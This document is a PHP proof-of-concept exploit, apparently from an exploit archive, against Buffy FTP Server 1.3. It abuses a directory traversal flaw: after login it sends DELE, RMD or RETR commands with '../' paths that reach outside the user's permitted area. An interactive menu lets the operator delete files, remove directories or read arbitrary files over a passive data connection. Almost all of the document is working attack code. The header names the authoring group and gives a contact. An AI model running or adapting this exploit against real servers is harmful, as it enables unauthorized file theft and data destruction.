Buffy 1.3 - Remote Directory Traversal Exploit



<?php

#     _             ____  __            __    ___ 
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / / 
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/  
#                   Live by the byte     |_/_/  
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# The following is a proof of concept for a path traversal vulnerability that exists in Buffy FTP Server.
# The vulnerability allows an unprivileged attacker to read files and delete files & folders whom he has no permissions to.
# The vulnerable FTP commands are:
# * RETR     - Read File
# * RMD        - Remove Directory
# * DELE     - Delete File
#-----------------------------------
# Exploit Title: Buffy v1.3 Remote Directory Traversal Exploit
# Date: 31/10/2010
# Author: Pr0T3cT10n
# Software Link: http://www.smotricz.com/opensource/buffy/Buffy.zip
# Affected Version: 1.3
# Tested on Windows XP Hebrew, Service Pack 3
# ISRAEL, NULLBYTE.ORG.IL

error_reporting(E_ALL);
if(
count($argv) <= 4) {
    echo(
"\r\n# Usage: {$argv[0]} [HOST] [PORT] [USER] [PASS]\r\n");
    echo(
"\tHOST - An host using Buffy FTP Server\r\n");
    echo(
"\tPORT - Default is 21\r\n");
    echo(
"\tUSER - Username\r\n");
    echo(
"\tPASS - Password\r\n");
    exit(
"\r\n");
} else {
    
$CMD '';
    
$CFG = Array('file' => $argv[0], 'host' => $argv[1], 'port' => $argv[2], 'user' => $argv[3], 'pass' => $argv[4]);
    
$sock fsockopen($CFG['host'], $CFG['port'], $errno$errstr5);
    if(
$sock) {
        echo(
"(+) Connected to the FTP server at '{$CFG['host']}' on port {$CFG['port']}\r\n");
        
$read fread($sock1024);
        
fwrite($sock"USER {$CFG['user']}\r\n");
        
$read fread($sock1024);
        
fwrite($sock"PASS {$CFG['pass']}\r\n");
        
$read fread($sock1024);
        echo(
"(~) What would you like to do?\r\n\t1.Remove File\r\n\t2.Remove Directory\r\n\t3.Read File\r\n");
        
$CHSE rtrim(fgets(STDIN));
        if(
$CHSE == 1) {
            
$CMD.= "DELE";
            echo(
"(~) Path to file(for example: ../../../test.txt): ");
            
$PATH rtrim(fgets(STDIN));
            if(
$PATH != '') {
                
fwrite($sock"{$CMD} {$PATH}\r\n");
                echo(
fread($sock1024));
            } else {
                exit(
"(-) Empty path.\r\n");
            }
        } elseif(
$CHSE == 2) {
            
$CMD.= "RMD";
            echo(
"(~) Path to directory(for example: ../../../test): ");
            
$PATH rtrim(fgets(STDIN));
            if(
$PATH != '') {
                
fwrite($sock"{$CMD} {$PATH}\r\n");
                echo(
fread($sock1024));
            } else {
                exit(
"(-) Empty path.\r\n");
            }
        } elseif(
$CHSE == 3) {
            
$CMD.= "RETR";
            echo(
"(~) Path to file(for example: ../../../test.txt): ");
            
$PATH rtrim(fgets(STDIN));
            if(
$PATH != '') {
                
fwrite($sock"PASV\r\n");
                
$read fread($sock1024);
                
$xpld explode(','$read);
                
$addr_tmp explode('('$xpld[0]);
                
$address "{$addr_tmp[1]}.{$xpld[1]}.{$xpld[2]}.{$xpld[3]}";
                
$port_tmp explode(')'$xpld[5]);
                
$newport = ($xpld[4]*256)+$port_tmp[0];
                
fwrite($sock"{$CMD} {$PATH}\r\n");
                
$read fread($sock1024);
                
$socket fsockopen($address$newport$errno$errstr5);
                if(
$socket) {
                    echo(
fread($socket1024));
                }
            } else {
                exit(
"(-) Empty path.\r\n");
            }
        } else {
            exit(
"(-) You have to choose correctly.\r\n");
        }
    } else {
        exit(
"(-) Unable to connect to {$CFG['host']}:{$CFG['port']}\r\n");
    }
}
?>